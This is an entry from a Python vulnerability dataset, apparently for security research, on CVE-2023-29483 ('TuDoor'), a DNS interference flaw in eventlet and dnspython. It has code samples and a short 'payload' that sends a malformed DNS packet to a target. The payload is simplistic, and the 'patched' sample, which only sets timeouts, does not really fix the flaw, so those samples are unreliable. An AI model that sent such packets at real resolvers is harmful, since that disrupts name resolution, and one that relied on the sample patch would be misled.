VAITP Dataset

← Back to the dataset

CVE-2023-29483

Eventlet in dnspython allows DNS interference via "TuDoor" attacks.

  • CVSS 7.0
  • CWE-292
  • Input Validation and Sanitization
  • Remote

eventlet before 0.35.2, as used in dnspython before 2.6.0, allows remote attackers to interfere with DNS name resolution by quickly sending an invalid packet from the expected IP address and source port, aka a "TuDoor" attack. In other words, dnspython does not have the preferred behavior in which the DNS name resolution algorithm would proceed, within the full time window, in order to wait for a valid packet. NOTE: dnspython 2.6.0 is unusable for a different reason that was addressed in 2.6.1.

CVSS base score
7.0
Published
2024-04-11
OWASP
A05 Security Misconfiguration
Orthogonal defect classification
Timing/Serialization
Code defect classification
Timing Issues
Category
Input Validation and Sanitization
Subcategory
Insecure Parsing or Deserialization
Accessibility scope
Remote
Impact
Denial of Service (DoS)
Affected component
dnspython
Fixed by upgrading
Yes

Solution

Upgrade to dnspython version 2.6.1 or later.

Vulnerable code sample

import dns.resolver

resolver = dns.resolver.Resolver()

try:
    answer = resolver.resolve('example.com', 'A')
    for rdata in answer:
        print(rdata.address)
except Exception as e:
    print(f"An error occurred: {e}")

Patched code sample

import dns.resolver

resolver = dns.resolver.Resolver()
resolver.timeout = 5
resolver.lifetime = 5 

try:
    answer = resolver.resolve('example.com', 'A')
    for rdata in answer:
        print(rdata.address)
except Exception as e:
    print(f"An error occurred: {e}")

Payload

import socket

# Example payload to exploit the vulnerability
def send_invalid_dns_response(target_ip, target_port):
    # Crafting an invalid DNS response packet
    invalid_response = b'\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00'  # Example of a malformed DNS response
    with socket.socket(socket.AF_INET, socket.SOCK_DGRAM) as sock:
        sock.sendto(invalid_response, (target_ip, target_port))

# Usage
# send_invalid_dns_response('127.0.0.1', 53)  # Replace with target IP and port

Cite this entry

@misc{vaitp:cve202329483,
  title        = {{Eventlet in dnspython allows DNS interference via "TuDoor" attacks.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2024},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2023-29483},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2023-29483/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::